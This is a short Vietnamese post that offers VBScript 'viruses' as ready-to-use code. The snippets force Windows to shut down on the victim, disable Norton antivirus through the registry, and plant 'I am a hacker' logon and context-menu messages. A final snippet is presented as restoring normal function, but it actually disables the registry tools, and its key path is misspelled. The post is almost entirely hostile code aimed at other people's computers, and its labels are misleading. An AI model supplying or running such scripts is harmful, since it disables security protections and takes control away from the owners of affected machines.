Dưới đây là code của một số con virus nhỏ dưới dạng VBS pps

Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

1. Không cho victim khởi động máy:

Dim wsh

Set wsh = createobject("wscript.shell")

wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2. Disable NAV:

Dim wsh

Set wsh= CreateObject( "WScript.Shell")

s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program

Scheduler\Start"

wsh.RegWrite s1,3, "REG_DWORD"

3. Hiển thị một message mỗi khi reboot máy:

dim wsh

Set wsh = CreateObject( "WScript.Shell" )

s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\"

s2 = "LegalNoticeCaption"

s3 = "LegalNoticeText"

wsh.RegWrite s1+s2, "http://allformy.topcities.com"

wsh.RegWrite s1+s3, "Ta la hacker day - Ta den tu DHTB"

4. Hiển thị một dòng lệnh khi click vào file hay folder:

set reg=createobject("WScript.shell")

reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Ban da bi toi khong che"

reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da bi toi khong

che","I_LOVE_U"

5. Làm cho các trò trên hoạt động bình thường:

Dim objShell

Set objShell = CreateObject( "WScript.Shell" )

s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurentVersion\"

s2 = "Policies\System\DisableRegistryTools"

objShell.RegWrite s1+s2,1, "REG_DWORD"